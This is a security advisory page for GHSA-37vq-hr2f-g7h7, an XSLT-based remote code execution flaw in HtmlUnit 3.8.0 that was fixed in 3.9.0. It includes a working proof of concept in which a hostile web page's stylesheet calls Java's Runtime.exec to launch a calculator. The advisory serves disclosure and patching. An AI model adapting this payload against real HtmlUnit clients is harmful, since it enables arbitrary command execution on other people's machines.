GHSA-37vq-hr2f-g7h7

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    GHSA-37vq-hr2f-g7h7

    Published: 4 Dec 2023Last Modified: 10 Sept 2026

    Summary: HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL

    Details: ### Summary HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage ### Details Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode) The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor ### PoC pom.xml: ``` <dependency> <groupId>org.htmlunit</groupId> <artifactId>htmlunit</artifactId> <version>3.8.0</version> </dependency> ``` code: ``` WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER); HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html"); System.out.println(page.asNormalizedText()); ``` test.html: ``` <script> var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0"); var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0"); var xslProc; xslDoc.async = false; xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/> <xsl:variable name="processString" select="ob:toString($process)"/> <span><xsl:value-of select="$processString"/></span> </xsl:template> </xsl:stylesheet>`) if (xslDoc.parseError.errorCode != 0) { var myErr = xslDoc.parseError; document.write("ParseError: "+myErr.reason); } else { xslt.stylesheet = xslDoc; var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0"); xmlDoc.async = false; xmlDoc.loadXML("<s></s>"); if (xmlDoc.parseError.errorCode != 0) { var myErr = xmlDoc.parseError; document.write("Document error: " + myErr.reason); } else { xslProc = xslt.createProcessor(); xslProc.input = xmlDoc; xslProc.transform(); document.write(xslProc.output); } } </script> ``` ### Impact Remote Code Execution

    Affected packages

    Package

    Name: org.htmlunit:htmlunit

    Purl: pkg:maven/org.htmlunit/htmlunit

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -3.9.0

    Affected versions

    3.0.0

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-37vq-hr2f-g7h7 | CVE-DB